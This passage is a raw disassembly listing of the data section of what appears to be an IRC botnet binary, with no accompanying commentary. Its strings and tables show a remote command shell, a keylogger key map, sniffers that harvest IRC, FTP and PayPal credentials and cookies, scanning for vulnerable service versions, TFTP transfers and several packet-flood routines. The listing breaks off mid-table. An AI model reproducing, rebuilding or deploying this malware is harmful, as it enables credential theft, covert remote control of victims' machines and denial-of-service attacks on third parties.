; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do aServerFailed_0 db '- server failed, returned %d',0 align 4 aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o aClientConnecti db '- client connection from %s:%d.',0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0 unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0 align 4 unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0 unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 3 db 2, 2Dh, 20h aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0 align 4 unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedOutS db '- User logged out: <%s@%s>.',0 align 4 unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorSessionru db '- Error: SessionRun(): <%d>.',0 align 10h unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aUserLoggedInS@ db '- User logged in: <%s@%s>.',0 aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o align 4 unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorGetpeerna db '- Error: getpeername(): <%d>.',0 align 4 unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aProtocolString db '- Protocol string too long.',0 align 4 dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh ; DATA XREF: sub_410A1E+1Bo dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h dd 203A7265h, 4073253Ch, 2E3E7325h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h dd 656E7275h, 3C203A64h, 2E3E6425h, 0 dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h dd 0 db 2Dh ; - db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0 align 10h unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0 align 4 unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o ; sub_410CD5+8Bo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0 align 4 unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExecut db '- Failed to execute shell.',0 unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0 align 4 unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0 unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0 align 4 aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co align 4 dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h ; DATA XREF: sub_410FF8+A1o dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h dd 74726F50h, 2E642520h, 0 dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0 aTftpTransferCo db 'Tftp transfer complete to: %s',0 align 4 aTftpTransferSt db 'Tftp transfer started to: %s',0 align 8 dw 8 unicode 0, <>,0 aB: unicode 0, <b>,0 dd 62000000h, 2 dup(0) dd 0Dh, 65h, 65000000h, 2 dup(0) dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0 dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0 dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0 dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h, 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo align 4 asc_434E54: ; DATA XREF: ___:00411C3Fo unicode 0, <\>,0 aSReturnS db '%s (Return) (%s)',0 align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 align 4 aSChangedWindow db '%s (Changed Windows: %s)',0 align 10h dd offset off_435718 dd offset off_435714 dd offset off_435710 dd offset aHttp_0 ; "HTTP" dd 6F6C2E3Ah, 6E6967h, 4 dup(0) dd 6F6C2C3Ah, 6E6967h, 4 dup(0) dd 6F6C213Ah, 6E6967h, 4 dup(0) dd 6F6C403Ah, 6E6967h, 4 dup(0) dd 6F6C243Ah, 6E6967h, 4 dup(0) dd 6F6C253Ah, 6E6967h, 4 dup(0) dd 6F6C5E3Ah, 6E6967h, 4 dup(0) dd 6F6C263Ah, 6E6967h, 4 dup(0) dd 6F6C2A3Ah, 6E6967h, 4 dup(0) dd 6F6C2D3Ah, 6E6967h, 4 dup(0) dd 6F6C2B3Ah, 6E6967h, 4 dup(0) dd 6F6C2F3Ah, 6E6967h, 4 dup(0) dd 6F6C5C3Ah, 6E6967h, 4 dup(0) dd 6F6C3D3Ah, 6E6967h, 4 dup(0) dd 6F6C3F3Ah, 6E6967h, 4 dup(0) dd 6F6C273Ah, 6E6967h, 4 dup(0) dd 6F6C603Ah, 6E6967h, 4 dup(0) dd 6F6C7E3Ah, 6E6967h, 4 dup(0) dd 6F6C203Ah, 6E6967h, 4 dup(0) dd 75612E3Ah, 6874h, 4 dup(0) dd 75612C3Ah, 6874h, 4 dup(0) dd 7561213Ah, 6874h, 4 dup(0) dd 7561403Ah, 6874h, 4 dup(0) dd 7561243Ah, 6874h, 4 dup(0) dd 7561253Ah, 6874h, 4 dup(0) dd 75615E3Ah, 6874h, 4 dup(0) dd 7561263Ah, 6874h, 4 dup(0) dd 75612A3Ah, 6874h, 4 dup(0) dd 75612D3Ah, 6874h, 4 dup(0) dd 75612B3Ah, 6874h, 4 dup(0) dd 75612F3Ah, 6874h, 4 dup(0) dd 75615C3Ah, 6874h, 4 dup(0) dd 75613D3Ah, 6874h, 4 dup(0) dd 75613F3Ah, 6874h, 4 dup(0) dd 7561273Ah, 6874h, 4 dup(0) dd 7561603Ah, 6874h, 4 dup(0) dd 75617E3Ah, 6874h, 4 dup(0) dd 7561203Ah, 6874h, 4 dup(0) dd 64692E3Ah, 0 db 0 db 3 dup(0) ; DATA XREF: ___:off_435714o dd 3 dup(0) dd 64692C3Ah, 5 dup(0) dd 6469213Ah, 5 dup(0) dd 6469403Ah, 5 dup(0) dd 6469243Ah, 5 dup(0) dd 6469253Ah, 5 dup(0) dd 64695E3Ah, 5 dup(0) dd 6469263Ah, 5 dup(0) dd 64692A3Ah, 5 dup(0) dd 64692D3Ah, 5 dup(0) dd 64692B3Ah, 5 dup(0) dd 64692F3Ah, 5 dup(0) dd 64695C3Ah, 5 dup(0) dd 64693D3Ah, 5 dup(0) dd 64693F3Ah, 5 dup(0) dd 6469273Ah, 5 dup(0) dd 6469603Ah, 5 dup(0) dd 64697E3Ah, 5 dup(0) dd 6469203Ah, 5 dup(0) dd 61682E3Ah, 6E696873h, 4 dup(0) dd 6168213Ah, 6E696873h, 4 dup(0) dd 6168243Ah, 6E696873h, 4 dup(0) dd 6168253Ah, 6E696873h, 4 dup(0) dd 65732E3Ah, 65727563h, 4 dup(0) dd 6573213Ah, 65727563h, 4 dup(0) dd 6C2E3Ah, 5 dup(0) dd 6C213Ah, 5 dup(0) dd 6C243Ah, 5 dup(0) dd 6C253Ah, 5 dup(0) dd 782E3Ah, 5 dup(0) dd 78213Ah, 5 dup(0) dd 78243Ah, 5 dup(0) dd 78253Ah, 5 dup(0) dd 79732E3Ah, 6Eh, 4 dup(0) dd 7973213Ah, 6Eh, 4 dup(0) dd 7973243Ah, 6Eh, 4 dup(0) dd 7973253Ah, 6Eh, 4 dup(0) dd 4B444320h, 207965h, 4 dup(0) dd 4E494F4Ah, 2320h, 3 dup(0) dd 1, 4B43494Eh, 20h, 3 dup(0) dd 1, 5245504Fh, 20h, 3 dup(0) dd 1, 7265706Fh, 20h, 3 dup(0) dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h dd 1, 52455355h, 20h, 3 dup(0) dd 2, 53534150h, 20h, 3 dup(0) dd 2, 70796170h, 6C61h, 3 dup(0) dd 3, 50594150h, 4C41h, 3 dup(0) dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0) dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0) dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0) dd 3, 6 dup(0) aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo align 10h off_435710 dd offset word_505446 ; DATA XREF: ___:00434EA8o off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o off_435718 dd offset word_544F42 ; DATA XREF: ___:00434EA0o dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h dd 3026666h, 2Dh, 4E53505Bh, 5D464649h, 0 dd 234032Dh, 696E7370h, 3026666h, 5357202Dh, 636F4941h dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h dd 64252064h, 0 dd 234032Dh, 696E7370h, 3026666h, 6962202Dh, 2928646Eh dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 696E7370h, 3026666h aSocketFailedRe db '- socket() failed, returned %d',0 align 10h aHashin db ':!hashin',0 ; DATA XREF: sub_412360+103o align 4 a_hashin db ':.hashin',0 ; DATA XREF: sub_412360+EEo align 4 aIdent_0 db ':!ident',0 ; DATA XREF: sub_412360+D9o a_ident db ':.ident',0 ; DATA XREF: sub_412360+C8o a_login db ':.Login',0 ; DATA XREF: sub_412360+B7o aLogin db ':!Login',0 ; DATA XREF: sub_412360+A6o aLogin_0 db ':!login',0 ; DATA XREF: sub_412360+95o a_login_0 db ':.login',0 ; DATA XREF: sub_412360+84o a366 db '366 ',0 ; DATA XREF: sub_412360+73o align 10h a302_0 db '302 ',0 ; DATA XREF: sub_412360:loc_4123C2o align 4 aJoin_0 db 'JOIN #',0 ; DATA XREF: sub_412360+4Do align 10h aPsniff_0 db 'PSNIFF//',0 ; DATA XREF: sub_412360+3Co align 4 aPsniff_1 db '[PSNIFF]:',0 ; DATA XREF: sub_412360+2Bo align 4 aBotSniff db 'Bot sniff',0 ; DATA XREF: sub_412360+5o align 4 aYouAreNowAnIrc db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o aOper db 'oper ',0 ; DATA XREF: sub_412477+51o align 4 aNick_1 db 'NICK ',0 ; DATA XREF: sub_412477:loc_4124B7o ; sub_4124ED+2Bo align 10h aOper_0 db 'OPER ',0 ; DATA XREF: sub_412477+2Bo align 4 aIrcSniff db 'IRC sniff',0 ; DATA XREF: sub_412477+5o align 4 aPass_0 db 'PASS ',0 ; DATA XREF: sub_4124ED+73o align 4 aUser_3 db 'USER ',0 ; DATA XREF: sub_4124ED+62o align 4 a230 db '230 ',0 ; DATA XREF: sub_4124ED:loc_41253Eo align 4 a220 db '220 ',0 ; DATA XREF: sub_4124ED+3Co align 4 aFtpSniff db 'FTP sniff',0 ; DATA XREF: sub_4124ED+5o align 10h aSetCookie db 'Set-Cookie:',0 ; DATA XREF: sub_412574+73o aPaypal_com db 'paypal.com',0 ; DATA XREF: sub_412574+62o align 4 aPaypal_com_0 db 'PAYPAL.COM',0 ; DATA XREF: sub_412574+51o align 4 aPaypal_0 db 'PAYPAL',0 ; DATA XREF: sub_412574:loc_4125B4o align 4 aPaypal db 'paypal',0 ; DATA XREF: sub_412574+2Bo align 4 aHttpSniff db 'HTTP sniff',0 ; DATA XREF: sub_412574+5o align 10h aOpenssh_2 db 'OpenSSH_2',0 ; DATA XREF: sub_4125FB+51o align 4 aServUFtpServer db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo align 10h aOpenssl0_9_6 db 'OpenSSL/0.9.6',0 ; DATA XREF: sub_4125FB+2Bo align 10h aVulnSniff db 'VULN sniff',0 ; DATA XREF: sub_4125FB+5o align 4 unk_43598C db 2Dh ; - ; DATA XREF: sub_412660+3ECo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aVulnSniffSDToS db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359C4 db 2Dh ; - ; DATA XREF: sub_412660+382o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aHttpSniffSDToS db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0 align 4 unk_4359FC db 2Dh ; - ; DATA XREF: sub_412660+351o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aFtpSniffSDToSD db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A30 db 2Dh ; - ; DATA XREF: sub_412660+31Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aIrcSniffSDToSD db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A64 db 2Dh ; - ; DATA XREF: sub_412660+2E2o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBotSniffSDToSD db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0 unk_435A98 db 2Dh ; - ; DATA XREF: sub_412660+14Bo db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aWsaioctlFailed db '- WSAIoctl() failed, returned %d',0 align 4 unk_435AC8 db 2Dh ; - ; DATA XREF: sub_412660+C5o db 3, 34h, 2 db 73h ; s db 6Eh, 69h, 66h db 66h ; f db 65h, 72h, 2 db 3 aBindFailedRetu db '- bind() failed, returned %d',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aDoneWithFloodA db 'done with flood at %iKB/sec',0 dword_435B1C dd 234032Dh, 736F6464h, 202D0302h, 646E6573h, 72726520h ; DATA XREF: sub_412B08+302o dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0 dd 234032Dh, 706D6369h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch dd 6E727574h, 25206465h, 64h, 234032Dh, 706D6369h, 202D0302h dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 706D6369h, 202D0302h, 6B636F73h, 29287465h dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h dd 0 dd 234032Dh, 676E6970h, 202D0302h, 696E6966h, 64656873h dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh dd 0 dd 234032Dh, 676E6970h, 202D0302h, 6F727265h, 65732072h dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh dd 2706475h, 66202D03h, 73696E69h, 20646568h, 646E6573h dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh dd 2706475h, 65202D03h, 726F7272h, 6E657320h, 676E6964h dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h dd 3026E79h, 6F44202Dh, 7720656Eh, 20687469h, 6F6F6C66h dd 25282064h, 2F424B69h, 29636573h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aDoneWithFloodI db '- Done with flood (%iKB/sec).',0 align 4 dword_435D44 dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h ; DATA XREF: sub_41386B+27Do dd 3C203A72h, 2E3E6425h, 0 dd 234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 